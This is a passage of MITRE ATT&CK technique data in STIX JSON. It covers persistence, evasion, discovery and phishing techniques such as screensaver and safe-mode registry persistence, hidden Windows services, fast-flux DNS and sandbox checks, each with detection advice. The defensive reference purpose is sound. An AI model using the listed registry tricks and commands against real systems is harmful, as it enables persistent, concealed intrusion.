"mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a <code>\\*</code> in front of the \"Startup\" value name: <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"]</code> or by adding a key to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal</code>.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\n\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as <code>bcdedit.exe</code> and <code>bootcfg.exe</code>.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Creation", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Host Intrusion Prevention Systems", "Anti-virus"], "x_mitre_permissions_required": ["Administrator"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Bartosz Jerzman"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1180", "url": "https://attack.mitre.org/techniques/T1180"}, {"source_name": "Wikipedia Screensaver", "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.", "url": "https://en.wikipedia.org/wiki/Screensaver"}, {"source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}], "modified": "2020-01-24T13:51:47.990Z", "name": "Screensaver", "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4", "type": "attack-pattern", "created": "2020-10-20T00:06:56.180Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1542.005", "url": "https://attack.mitre.org/techniques/T1542/005"}, {"source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Secure Boot", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Command History", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Boot Information", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020."}], "modified": "2020-10-22T16:35:53.806Z", "name": "TFTP Boot", "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "Network Traffic: Network Connection Creation", "Firmware: Firmware Modification"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2024-04-11T19:25:51.394Z", "name": "Windows Service", "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create \u2018hidden\u2019 services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Matthew Demaske, Adaptforward", "Pedro Harrison", "Mayuresh Dani, Qualys", "Wietze Beukema, @wietze", "Akshat Pradhan, Qualys", "Wirapong Petshagun"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.  \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns)  \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Network Traffic: Network Traffic Flow", "Service: Service Creation", "Command: Command Execution", "File: File Metadata", "Windows Registry: Windows Registry Key Creation", "Driver: Driver Load", "Service: Service Modification", "Process: OS API Execution"], "x_mitre_effective_permissions": ["Administrator", "SYSTEM"], "type": "attack-pattern", "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "created": "2020-01-17T19:13:50.402Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1543/003", "external_id": "T1543.003"}, {"source_name": "Microsoft Windows Event Forwarding FEB 2018", "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.", "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"}, {"source_name": "ESET InvisiMole June 2020", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"}, {"source_name": "SANS 1", "description": "Joshua Wright. (2020, October 13). Retrieved March 22, 2024.", "url": "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/"}, {"source_name": "SANS 2", "description": "Joshua Wright. (2020, October 14). Retrieved March 22, 2024.", "url": "https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/"}, {"source_name": "TechNet Services", "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"}, {"source_name": "Microsoft 4697 APR 2017", "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.", "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"}, {"source_name": "Symantec W.32 Stuxnet Dossier", "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.", "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf"}, {"source_name": "Unit42 AcidBox June 2020", "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.", "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}, {"source_name": "Crowdstrike DriveSlayer February 2022", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", "type": "attack-pattern", "created": "2020-03-11T14:11:16.560Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1568.001", "url": "https://attack.mitre.org/techniques/T1568/001"}, {"url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref", "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.", "source_name": "MehtaFastFluxPt1"}, {"source_name": "MehtaFastFluxPt2", "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.", "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"}, {"source_name": "Fast Flux - Welivesecurity", "url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/", "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020."}], "modified": "2020-03-27T16:10:37.183Z", "name": "Fast Flux DNS", "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Connection Creation"]}, {"modified": "2024-04-19T12:49:40.919Z", "name": "System Checks", "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Deloitte Threat Library Team", "Kostya Vasilkov"], "x_mitre_deprecated": false, "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Static File Analysis", "Signature-based detection", "Host forensic analysis", "Anti-virus"], "type": "attack-pattern", "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "created": "2020-03-06T20:57:37.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1497/001", "external_id": "T1497.001"}, {"source_name": "Unit 42 OilRig Sept 2018", "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}, {"source_name": "McAfee Virtual Jan 2017", "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.", "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/"}, {"source_name": "Deloitte Environment Awareness", "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.", "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "type": "attack-pattern", "created": "2019-12-03T14:25:00.538Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1053.003", "url": "https://attack.mitre.org/techniques/T1053/003"}, {"source_name": "20 macOS Common Tools and Techniques", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}], "modified": "2022-03-24T17:33:03.443Z", "name": "Cron", "description": "Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.  \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification", "Process: Process Creation", "Scheduled Job: Scheduled Job Creation", "Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"modified": "2023-04-07T17:16:47.754Z", "name": "Domain Groups", "description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Harshal Tupsamudre, Qualys", "Miriam Wiesner, @miriamxyra, Microsoft Security"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Group: Group Enumeration", "Command: Command Execution", "Process: OS API Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "created": "2020-02-21T21:15:06.561Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1069/002", "external_id": "T1069.002"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327", "type": "attack-pattern", "created": "2020-10-15T02:59:38.628Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1588.006", "url": "https://attack.mitre.org/techniques/T1588/006"}, {"source_name": "National Vulnerability Database", "url": "https://nvd.nist.gov/", "description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020."}], "modified": "2021-04-15T03:16:32.119Z", "name": "Vulnerabilities", "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-15T23:51:25.037Z", "name": "Spearphishing Link", "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 